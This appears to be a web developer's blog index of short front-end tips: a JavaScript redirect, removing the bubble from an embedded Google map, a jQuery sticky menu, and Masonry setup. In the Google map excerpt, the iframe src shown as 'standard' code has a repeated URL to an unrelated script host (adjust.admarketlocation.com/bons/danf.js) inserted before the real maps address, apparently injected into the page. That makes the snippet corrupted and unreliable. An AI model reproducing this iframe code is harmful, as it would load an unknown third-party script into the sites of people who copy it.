Had to redirect a home page before any content loads.. This little piece of script done the trick: location.replace(‘www.domainYouWantToRedirectTo.com’); Just place that in your header code and its done. works with any other languages variables as well.
Had to remove the bubble from a Google map I used on a contact page. There are lots of info on this out on the net, but this is my own reminder.Code below is standard Google map iframe code:<iframe width=”446″ height=”470″ frameborder=”0″ scrolling=”no” marginheight=”0″ marginwidth=”0″ src=”https://adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&maps.google.co.za/maps?q=h102,+The+Hills,+Buchanan+Square,+160+Sir+Lowry+Road+Woodstock,++maps&oe=utf-8&client=firefox-a&ie=UTF8&hq=h102,+The+Hills,+Buchanan+Square,+160+Sir+Lowry+Road+Woodstock,&hnear=&radius=15000&t=m&ll=-33.927676,18.437462&spn=0.008368,0.009549&z=16&output=embed”></iframe> and this is the edited code:<iframe width=”446″ height=”470″ frameborder=”0″ scrolling=”no”[…]
Fixed position for element as soon as it reaches certain position with jQuery. So I had a menu that was 200px below the window top, and I had to have it fixed to the top as soon as it reached the top of the window.. there are ways to get the element position, but I[…]
So I was working with Masonry recently, had a couple issues but got it sorted. This will be a quick run down for anyone wanting to implement it and me to remind myself as well 😉 Make sure you download it off masonry’s site. The masonry.pkgd.min.js file is correct one with everything in it.( had issues[…]